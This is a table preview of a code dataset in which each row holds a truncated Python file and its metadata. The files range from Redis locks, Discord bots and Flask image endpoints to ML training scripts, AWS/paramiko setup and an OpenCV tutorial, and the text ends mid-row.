seq_id string | text string | repo_name string | sub_path string | file_name string | file_ext string | file_size_in_byte int64 | program_lang string | lang string | doc_type string | stars int64 | dataset string | pt string | api list |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
566771992 | import contextlib
import time
from functools import wraps
import redis
import logging
@contextlib.contextmanager
def lock(redis_conn, key, blocking_timeout=None):
_lock = redis_conn.lock('__lock:{}'.format(key), blocking_timeout=blocking_timeout, timeout=120)
is_locked = _lock.acquire()
try:
yield... | null | payment/utils.py | utils.py | py | 1,939 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "redis.exceptions",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "logging.error",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "contextlib.contextmanager",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "tim... |
502323140 | import json
def type_to_offset(given_type):
if given_type == "bool":
# OpenGOAL "bools" are usually "symbols" but symbols are 4 bytes. TOO BIG instead we use uint8's set to 0 or 1
return 1
elif given_type == "uint8":
return 1
elif given_type == "uint16":
return 2
elif given_type == "... | null | generate-options.py | generate-options.py | py | 4,741 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "json.load",
"line_number": 44,
"usage_type": "call"
}
] |
98353560 | #interface com estruturas para acessar e manipular o banco
import cx_Oracle
#faz a conexao com o banco
conn = cx_Oracle.connect(user='system', password='welcome01')
conn.autocommit = True
#cria um novo cursor para manipular o db
c = conn.cursor()
#Loop do menu
while(True):
#pega a seleção do usuário
val = input... | null | unidade2/SQLProject/SQLProject/SQLProject.py | SQLProject.py | py | 942 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "cx_Oracle.connect",
"line_number": 6,
"usage_type": "call"
}
] |
389761007 | # -*- coding: utf-8 -*-
"""
Custom Pipeline for applying models to meteo data and
benchmarking models in this regard
@author: Tâm Le Minh
"""
import os
import numpy as np
import pandas as pd
import time, datetime
import src.kernels as kernels
import src.models as models
from sklearn.model_selection import train_test_... | null | src/meteodr.py | meteodr.py | py | 5,846 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "numpy.column_stack",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "numpy.asarray",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.now",
"line_number": 47,
"usage_type": "call"
},
{
"api_name": "datetime.datet... |
271896162 | import asyncio
from datetime import datetime, timedelta
import dateutil.relativedelta
import discord
import locale
from discord.ext import commands, tasks
from BotBackend import getLog, checks
log = getLog("ranks")
def inHoldingCell(ctx):
"""Command check to make sure its being called from the holding cell"""
... | null | BotBackend/ranking.py | ranking.py | py | 18,654 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "BotBackend.getLog",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "discord.DMChannel",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "datetime.datetime",
"line_number": 33,
"usage_type": "name"
},
{
"api_name": "datetime.d... |
380455790 | from flask import Flask
import cv2
import pickle
import glob
from flask import request
from flask import send_file
from flask import Response
from flask import jsonify
from PIL import Image
import numpy
import base64
from io import BytesIO
app = Flask(__name__)
@app.route('/get', methods=["GET", "POST"])
def index(... | null | app.py | app.py | py | 5,873 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "flask.Flask",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "flask.request.method",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "flask.request",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "flask.request.fil... |
571406075 | #!/usr/bin/env python
# coding=utf-8
# Copyright 2022 Huawei Technologies Co., Ltd
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless requi... | null | research/cv/proxylessnas/infer/sdk/main.py | main.py | py | 3,724 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "StreamManagerApi.StreamManagerApi",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "StreamManagerApi.MxDataInput",
"line_number": 44,
"usage_type": "call"
},
{
"api_name": "sys.argv",
"line_number": 46,
"usage_type": "attribute"
},
{
"api_... |
516772428 | from flask import Flask, render_template, request
from chatterbot import ChatBot
from chatterbot.trainers import ChatterBotCorpusTrainer
import os
from chatterbot.trainers import ListTrainer
import nltk
from nltk.collocations import *
from collections import Counter
import operator
import pandas as pd
import re
from ... | null | run.py | run.py | py | 7,785 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.listdir",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "flask.Flask",
"line_number": 37,
"usage_type": "call"
},
{
"api_name": "chatterbot.ChatBot",
"line_number": 40,
"usage_type": "call"
},
{
"api_name": "chatterbot.trainers.ListTra... |
465730710 | import logging
import logging.config
logger = logging.getLogger('sync_gbif2tnt')
import re
import pudb
# from ..MSSQLConnector import MSSQLConnector
from .InsertCommonNameTempTable import InsertCommonNameTempTableBase
class InsertCommonNames():
def __init__(self, tnt_con, taxonnametemptable, vernaculargetter):... | null | lib/TaxaTransfer/InsertCommonNames.py | InsertCommonNames.py | py | 1,426 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.getLogger",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "InsertCommonNameTempTable.InsertCommonNameTempTableBase",
"line_number": 32,
"usage_type": "call"
}
] |
650923034 | #!/usr/bin/Python
# -*- coding: utf-8 -*-
'''
'@file: function.py
'@author: liyunting
'说明:需安装pypiwin32模块
'pip install pypiwin32
'''
from mongoengine import *
from collection import Mybucket
import sys
from win32file import GetFileAttributesW
from win32con import FILE_ATTRIBUTE_HIDDEN
from win32con impo... | null | scan_directory/function.py | function.py | py | 2,316 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "mongoengine.context_managers.switch_collection",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "collection.Mybucket",
"line_number": 27,
"usage_type": "argument"
},
{
"api_name": "collection.Mybucket.objects",
"line_number": 28,
"usage_type": "ca... |
231350061 | import logging
import threading
import os
import azure.common
from azure.storage.blob import BlockBlobService
class CloudStorage:
def __init__(self, config):
self._config = config
logging.basicConfig(level=self._config.logging_level)
self.logger = logging.getLogger('SpeedTrap.CloudStorage... | null | cloudstorage.py | cloudstorage.py | py | 2,429 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.basicConfig",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "logging.getLogger",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "threading.Thread",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "azure.storage.... |
366434234 | """ myLogging sets formatter and handlers settings to logger"""
__author__ = 'Danila Lapko'
import logging
formatter = logging.Formatter(u'%(filename)s[LINE:%(lineno)d]# %(levelname)-8s [%(asctime)s] %(message)s')
streamHandler = logging.StreamHandler()
streamHandler.setLevel(logging.DEBUG)
streamHandler.setFormat... | null | myLogging.py | myLogging.py | py | 579 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.Formatter",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "logging.StreamHandler",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "logging.DEBUG",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "logging.FileH... |
233946771 | #!/bin/env python
import argparse
import os.path
import os
import util
import bisect
def get_dist(date, secid2tickers):
total = 0.0
dist ={}
volsumFile = "/".join((os.environ["DATA_DIR"], "bars", str(date), "volsum.txt"))
if not os.path.isfile(volsumFile):
raise Exception("Problem finding hist... | null | python/rbin/vol_hist.py | vol_hist.py | py | 4,501 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.environ",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "os.path.isfile",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 13,
"usage_type": "attribute"
},
{
"api_name": "os.listdir",
"line_nu... |
338091786 | from django.shortcuts import render
import srt,chardet,uuid,os,time
# Create your views here.
def convert(text):
# 写入文件,准备解码
filename = os.path.join('./tmp','django'+str(time.time())[-7:])
tmp=open(filename,'w')
tmp.write(text)
tmp.close()
encoding = chardet.detect(open(filename,'rb').read())[... | null | subtitles/views.py | views.py | py | 1,229 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.path.join",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "time.time",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "chardet.detect",
"line_number": ... |
68933302 | #coding=utf8
# wei.wang what hurts more,the pain of hard work or the pain of regret?
__author__ = 'v'
__date__ = '2017/5/16'
import requests
import down_bean_51cto
host = 'http://u.ifeige.cn/api/'
path = "group_sendmsg"
url = host + path + '?'
data = {
'secret':'762b7403483c8c324119a4ea65c3a7e5',
'token':'9ca... | null | feixin_messages.py | feixin_messages.py | py | 849 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "down_bean_51cto.get_download_bean",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "requests.post",
"line_number": 29,
"usage_type": "call"
}
] |
71041132 | import sys
sys.path.append("/usr/local/Cellar/opencv/")
import tensorflow as tf
import cv2
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("MNIST_data/", one_hot=True)
''' Comment out to visualize how data is managed '''
# for i in range(20):
# v2.imshow(' ',c... | null | mnist.py | mnist.py | py | 1,811 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.path.append",
"line_number": 2,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 2,
"usage_type": "attribute"
},
{
"api_name": "tensorflow.examples.tutorials.mnist.input_data.read_data_sets",
"line_number": 8,
"usage_type": "call"
},
... |
517215288 | import getfoodsettings as getsettings
import getpyrequest as getdata
import test_body as cateaten
import time
import datetime
import re
while True:
sensor_data = int(input("type float to force input: #hint below 20 is an empty bowl\n"))
if sensor_data < 20:
i = datetime.datetime.now()
... | null | CatFeeder/main.py | main.py | py | 1,383 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "datetime.datetime.now",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "getpyrequest.store",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "getfo... |
496276934 | #!/usr/bin/env python
# encoding: utf-8
from django.core.management.base import BaseCommand
from board.models import Thread
from converter.models import WakabaInitializer, WakabaConverter, WakabaPost
class Command(BaseCommand):
def handle(self, *args, **options):
if not WakabaPost.objects.count():
... | null | converter/management/commands/wakaba_convert.py | wakaba_convert.py | py | 423 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.core.management.base.BaseCommand",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "converter.models.WakabaPost.objects.count",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "converter.models.WakabaPost.objects",
"line_number": 10,
... |
294260961 | class DefaultLinkSrc(object):
def __init__(self):
from collections import OrderedDict
self._items = OrderedDict()
def items(self):
return self._items
def __len__(self):
return len(self._items)
def __getitem__(self, k):
from ..general.path_parts import path_parts
... | null | fix_pkg/specific/default_link_src.py | default_link_src.py | py | 960 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "collections.OrderedDict",
"line_number": 4,
"usage_type": "call"
},
{
"api_name": "general.path_parts.path_parts",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "os.path.pardir",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "o... |
349485363 | import numpy as np
import healpy as hp
import matplotlib.pyplot as plt
import os
import simulation.power_spectrum.noise_power_spectra as nps
import simulation.lib.plotting.plot_th as pt
import simulation.power_spectrum.spectra_tools as st
class Plot_Maker():
def __init__(self, map_dir, plot_dir, config):
... | null | map_maker/mission_paper_plot_maker.py | mission_paper_plot_maker.py | py | 10,214 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.path.exists",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name": "os.makedirs",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_numbe... |
502214173 |
# coding: utf-8
# In[2]:
from gym_minigrid.envs import EmptyEnv
# In[3]:
from gym_minigrid.register import register
# In[4]:
class EmptyEnv32x32(EmptyEnv):
def __init__(self):
super().__init__(size=32)
register(
id='MiniGrid-Empty-32x32-v0',
entry_point='data.env_utils.custom_envs:Empty... | null | data/env_utils/custom_envs.py | custom_envs.py | py | 4,667 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "gym_minigrid.envs.EmptyEnv",
"line_number": 19,
"usage_type": "name"
},
{
"api_name": "gym_minigrid.register.register",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "gym_minigrid.envs.EmptyEnv",
"line_number": 32,
"usage_type": "name"
},
{
... |
88601426 | import math
from hyphen import Hyphenator
from lxml import etree
from html_sanitizer import Sanitizer
from indices.scales import interpret_index, GENERAL_SCALE_MESSAGES, MAX_READABILITY_POINTS
from indices.utils import tag_text, convert_text_to_docbook_xml, compose_premorph_xml
h_pl = Hyphenator('pl_PL')
TOTAL_ORTH... | null | indices/indices.py | indices.py | py | 9,620 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "hyphen.Hyphenator",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "indices.utils.convert_text_to_docbook_xml",
"line_number": 50,
"usage_type": "call"
},
{
"api_name": "indices.utils.compose_premorph_xml",
"line_number": 52,
"usage_type": "call"
... |
616451774 | import blizzard_api_caller as bapi
import configparser
import wget
import os
import gzip
import pandas as pd
import numpy as np
from bs4 import BeautifulSoup, SoupStrainer
import httplib2
import xlrd
import csv
import glob
from datetime import datetime
# Import keys and tokens
f_config = 'config.ini'
config = configp... | null | database_builder.py | database_builder.py | py | 4,747 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "configparser.ConfigParser",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "blizzard_api_caller.get_access_token",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "wget.download",
"line_number": 47,
"usage_type": "call"
},
{
"api_... |
405360162 | import spotipy
import re
import spotipy.oauth2 as oauth2
import csv
# # # Import client id and client secret (and username). I know there's a better way to set ENV variables, but I'm not gonna learn how right now.
with open('../spotify-christmas-keysecret.txt', encoding="ascii") as txtfile:
lines = txtfile.readlin... | null | Spotify/christmas-only-albums.py | christmas-only-albums.py | py | 2,435 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "re.sub",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "re.sub",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "re.sub",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "re.sub",
"line_number": 13,
"usage_type":... |
326996850 | #Importing necessary libraries
import numpy as np # linear algebra
import pandas as pd #for data processing/handling csv file
from matplotlib import pyplot as plt #for ploting charts
import seaborn as sns #visualization/for ploting heatmap
sns.set(style='darkgrid')
from sklearn.preprocessing import LabelEncoder #enco... | null | BankChurners.py | BankChurners.py | py | 7,277 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "seaborn.set",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "pandas.read_csv",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "pandas.get_dummies",
"line_number": 30,
"usage_type": "call"
},
{
"api_name": "pandas.concat",
"li... |
630892113 | # Scraping with Beautiful Soup
from bs4 import BeautifulSoup
import requests
url = "http://quotes.toscrape.com" # uniform resource locator
page = requests.get(url)
print(page)
#print(page.text)
soup = BeautifulSoup(page.text, "html.parser")
print(soup.prettify())
# find data in my soup object
# by tagname
title =... | null | Notes/10_scraping.py | 10_scraping.py | py | 1,710 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "requests.get",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_number": 12,
"usage_type": "call"
}
] |
474874900 | from django.db import models
from django.db.models.signals import pre_save
from django.dispatch import receiver
class Board(models.Model):
short_name = models.CharField(max_length=50)
name = models.CharField(max_length=50)
default_name = models.CharField(max_length=20)
def __unicode__(self):
... | null | boards/models.py | models.py | py | 1,751 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "django.db.models.Model",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "django.db.models",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "django.db.models.CharField",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "... |
383001098 | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Sun Jun 18 01:08:47 2017
@author: fcela
"""
import numpy as np
import pandas as pd
from scipy.signal import lfilter
import statsmodels.api as sm
# True model parameters
X = pd.read_csv("CAPM.csv")
y = X.IBM - X.RKFREE
x = X.MARKET - X.RKFREE
class CAPM... | null | state_space/capm/capm.py | capm.py | py | 1,919 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pandas.read_csv",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "statsmodels.api.tsa",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "statsmodels.api",
"line_number": 21,
"usage_type": "name"
},
{
"api_name": "numpy.ones",... |
5532033 | import dlib
import cv2 as cv
import math
import numpy as np
import os
from imutils import face_utils
from imutils.face_utils import FaceAligner
# import speech_recognition as sr
# from PIL import Image
# import imagehash
detector = dlib.get_frontal_face_detector()
predictor = dlib.shape_predictor('shape_predictor_68_f... | null | tes.py | tes.py | py | 20,257 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "dlib.get_frontal_face_detector",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "dlib.shape_predictor",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "cv2.INTER_AREA",
"line_number": 15,
"usage_type": "attribute"
},
{
"api_name"... |
470721155 | # encoding: utf-8
# Copyright 2019 The DeepNlp Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable la... | null | src/metalearning/maml/config.py | config.py | py | 1,633 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pydantic.BaseModel",
"line_number": 27,
"usage_type": "name"
},
{
"api_name": "metalearning.maml.domain.DataType.TRAIN",
"line_number": 30,
"usage_type": "attribute"
},
{
"api_name": "metalearning.maml.domain.DataType",
"line_number": 30,
"usage_type": "nam... |
139169543 | #------------------------------------------------------------------------------
# Copyright (c) 2011, Enthought, Inc.
# All rights reserved.
#------------------------------------------------------------------------------
""" An amalgamation of utilities used throughout the Enaml framework.
"""
from collections impor... | null | enaml/utils.py | utils.py | py | 6,698 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "string.digits",
"line_number": 30,
"usage_type": "name"
},
{
"api_name": "string.letters",
"line_number": 30,
"usage_type": "name"
},
{
"api_name": "random.shuffle",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "collections.defaultdict",... |
343269964 | import dwavebinarycsp
from dwave.system.samplers import DWaveSampler
from dwave.system.composites import EmbeddingComposite
import networkx as nx
import matplotlib.pyplot as plt
import dimod
# Represent the map as the nodes and edges of a graph
faces = ['213', '314', '423', '142', '243', '124', '413', '312']
pieces =... | null | diabolik0.py | diabolik0.py | py | 4,420 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "dwavebinarycsp.ConstraintSatisfactionProblem",
"line_number": 34,
"usage_type": "call"
},
{
"api_name": "dwavebinarycsp.BINARY",
"line_number": 34,
"usage_type": "attribute"
},
{
"api_name": "dwavebinarycsp.stitch",
"line_number": 94,
"usage_type": "call"
... |
479967189 | """
Name: Charles Shen
Date: 2017-11-21
"""
import keras
from keras.datasets import mnist
from keras.models import Sequential
from keras.layers import Dense, Dropout, Flatten
from keras.layers import ZeroPadding2D, Conv2D, MaxPooling2D
from keras.optimizers import SGD
from keras.regularizers import l2
impo... | null | VGG-11-Modified-MNIST/vgg11_l2.py | vgg11_l2.py | py | 6,472 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "keras.callbacks",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "keras.datasets.mnist.load_data",
"line_number": 37,
"usage_type": "call"
},
{
"api_name": "keras.datasets.mnist",
"line_number": 37,
"usage_type": "name"
},
{
"api_name... |
46776736 | import numpy as np
import keras
from keras.models import Sequential
from keras.layers import Dense, Dropout, Activation
from keras.optimizers import SGD
from keras.wrappers.scikit_learn import KerasClassifier
from sklearn.metrics import accuracy_score, precision_score, recall_score, confusion_matrix
from sklearn.model_... | null | drive_by_evaluation/evaluate.py | evaluate.py | py | 10,901 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sklearn.model_selection.KFold",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "sklearn.metrics.confusion_matrix",
"line_number": 66,
"usage_type": "call"
},
{
"api_name": "drive_by_evaluation.db_machine_learning.confusion_matrix_util.print_confusion_matr... |
451126939 | # coding: UTF-8
from importlib import import_module
import pickle as pkl
import train_eval
import numpy as np
import torch
from utils import DatasetIterater
UNK, PAD = '<UNK>', '<PAD>'
def configInit():
dataset = 'THUCNews' # 数据集
# 搜狗新闻:embedding_SougouNews.npz, 腾讯:embedding_Tencent.npz, 随机初始化:random
em... | null | predict0.py | predict0.py | py | 2,058 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "importlib.import_module",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "pickle.load",
"line_number": 46,
"usage_type": "call"
},
{
"api_name": "utils.DatasetIterater",
"line_number": 58,
"usage_type": "call"
},
{
"api_name": "train_eval.... |
3757438 | #!/usr/bin/env python3
import json
import sys
import yaml
def main():
yaml_path = sys.argv[1]
with open(yaml_path) as yaml_fp:
d = yaml.load(yaml_fp)
print(json.dumps(d))
if __name__ == '__main__':
main()
| null | util/y2j.py | y2j.py | py | 238 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "sys.argv",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "yaml.load",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "json.dumps",
"line_number": 12,
"usage_type": "call"
}
] |
281392556 | #1000,shampoo,12500,30
#1005,piaz,7650,100
#1014,doogh,10000,25
#2000,chips,8000,15
from pyfiglet import Figlet
import qrcode
PRODUCT=[]
def load_from_database():
print('loading...')
f=open('database.csv','r')
text=f.read()
product_list=text.split('\n')
for i in range(len(product_list)):
... | null | store.py | store.py | py | 4,544 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "qrcode.make",
"line_number": 90,
"usage_type": "call"
},
{
"api_name": "pyfiglet.Figlet",
"line_number": 162,
"usage_type": "call"
}
] |
342595907 | #!/usr/bin/env python
# -*- coding: UTF-8 -*-
"""
libprint.py
Knihovna pro realizaci tisku
Tiskovy vystup se sestavuje pomoci toolkitu ReportLab.
Modul je soucasti projektu pyLHPE a djangoLHPE - Lesnicka vyroba a evidence.
"""
from reportlab.lib.styles import *
from reportlab.platypus import *
from reportlab.lib i... | null | Home/libprint.py | libprint.py | py | 18,796 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "reportlab.pdfbase.pdfmetrics.registerFontFamily",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "reportlab.pdfbase.pdfmetrics",
"line_number": 32,
"usage_type": "name"
},
{
"api_name": "reportlab.pdfbase.pdfmetrics.registerFont",
"line_number": 33,
... |
613584612 | import os
import synapse.cortex as s_cortex
import synapse.tests.utils as s_tests
class CompatTest(s_tests.SynTest):
async def cellauth_migration_checks(self, core):
self.nn(core.auth.getRoleByName('analysts'))
lyst = core.auth.getRoleByName('analysts')
visi = core.auth.getUserByName('v... | null | synapse/tests/test_lib_compat.py | test_lib_compat.py | py | 1,519 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "synapse.tests.utils.SynTest",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "synapse.tests.utils",
"line_number": 6,
"usage_type": "name"
},
{
"api_name": "synapse.cortex.Cortex.anit",
"line_number": 32,
"usage_type": "call"
},
{
"api... |
351318816 | from netCDF4 import Dataset, numpy
import numpy as np
import os
def open(filename):
is_new = not os.path.exists(filename)
try:
root = (Dataset(filename, mode='w',format='NETCDF4') if is_new else Dataset(filename,mode='a'))
except:
root = Dataset(filename, mode='r')
return root, is_new
def getdim(root,name,siz... | null | imagedownloader/libs/file/netcdf.py | netcdf.py | py | 1,740 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "os.path.exists",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "netCDF4.Dataset",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "netCDF4.Dataset",
"line_... |
71986633 | """Support for Satel Integra alarm, using ETHM module."""
import asyncio
import logging
from collections import OrderedDict
import homeassistant.components.alarm_control_panel as alarm
from homeassistant.const import (
STATE_ALARM_ARMED_AWAY, STATE_ALARM_ARMED_HOME, STATE_ALARM_DISARMED,
STATE_ALARM_PENDING, S... | null | homeassistant/components/satel_integra/alarm_control_panel.py | alarm_control_panel.py | py | 4,932 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "logging.getLogger",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "homeassistant.components.alarm_control_panel.AlarmControlPanel",
"line_number": 36,
"usage_type": "attribute"
},
{
"api_name": "homeassistant.components.alarm_control_panel",
"line_nu... |
302915505 | # -*- coding:utf-8 -*-
import sys
from PyQt5 import QtWidgets, QtGui, QtCore
class Example(QtWidgets.QMainWindow):
def __init__(self):
super().__init__()
self.initUI()
def initUI(self):
QtWidgets.QToolTip.setFont(QtGui.QFont('仿宋', 10))
self.setToolTip('This is a <b>QWidget</... | null | pyqt/pyqt_temp.py | pyqt_temp.py | py | 2,408 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "PyQt5.QtWidgets.QMainWindow",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "PyQt5.QtWidgets",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "PyQt5.QtWidgets.QToolTip.setFont",
"line_number": 14,
"usage_type": "call"
},
{
"a... |
648913356 | import requests
from bs4 import BeautifulSoup
filepath = 'input2.txt'
import googlesearch
list_url_true = []
list_title_true = []
list_des_true = []
list_key = []
with open(filepath,encoding="utf8") as fp:
line = fp.readline()
cnt = 1
while line:
key = line.strip()
print(key)
list_key.a... | null | test2.py | test2.py | py | 2,199 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "googlesearch.search",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "bs4.BeautifulSoup",
"line_number": 22,
"usage_type": "call"
}
] |
614093108 | #!/usr/bin/env python
#
from ncclient import manager
import sys
import xml.dom.minidom
import xmltodict
from pprint import pprint
import requests
import json
# MISSION: Assign your authentication token obtained from Spark's Developer page
AUTH = None
# MISSION: Fill in the Name of the Room in which your message will... | null | module06/lab05_mission/01_get_interface_stats_SOLUTION.py | 01_get_interface_stats_SOLUTION.py | py | 5,632 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "requests.get",
"line_number": 48,
"usage_type": "call"
},
{
"api_name": "requests.post",
"line_number": 73,
"usage_type": "call"
},
{
"api_name": "json.dumps",
"line_number": 73,
"usage_type": "call"
},
{
"api_name": "ncclient.manager.connect",
... |
22597955 | import numpy as np
import pandas as pd
import scipy.sparse
from src.utils import Photo, Slide, SlideShow, HashCodeProblem
from scipy.spatial.distance import cdist
from sklearn.preprocessing import LabelEncoder, OneHotEncoder
def myDist(x,y):
return (x - y > 0)
def compute_mat(filename='a_example.txt'):
hsh = Hash... | null | computeMat.py | computeMat.py | py | 1,253 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "src.utils.HashCodeProblem",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "sklearn.preprocessing.LabelEncoder",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "sklearn.preprocessing.OneHotEncoder",
"line_number": 28,
"usage_type": "call... |
36646367 | import boto3
from pathlib import Path
import paramiko
from datetime import datetime
import os
print("Enter your aws_user_id:")
id = input()
print("Enter your aws_user_password:")
password = input()
print("Enter your aws_region:")
aws_region = input()
home = str(Path.home())
#Creation of EC2 instance
print("Enter KeyN... | null | 1.py | 1.py | py | 2,515 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "pathlib.Path.home",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "pathlib.Path",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "boto3.resource",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "boto3.client",
"lin... |
373376000 | # 1 导入库
import cv2
import matplotlib.pyplot as plt
import numpy as np
# 2 加载图像
img=cv2.imread("./datasets/lfw/Aaron_Eckhart/Aaron_Eckhart_0001.jpg")
plt.imshow(img)
# 3 高度,宽度,通道
height, width, channel = img.shape
print(height,width,channel)
# 4 图片放大,缩小
# cv2.resize()
resized_image = cv2.resize(img,(width*2,height*2)... | null | OpenCV/8image_transform.py | 8image_transform.py | py | 2,426 | python | en | code | null | code-starcoder2 | 66 | [
{
"api_name": "cv2.imread",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.imshow",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 8,
"usage_type": "name"
},
{
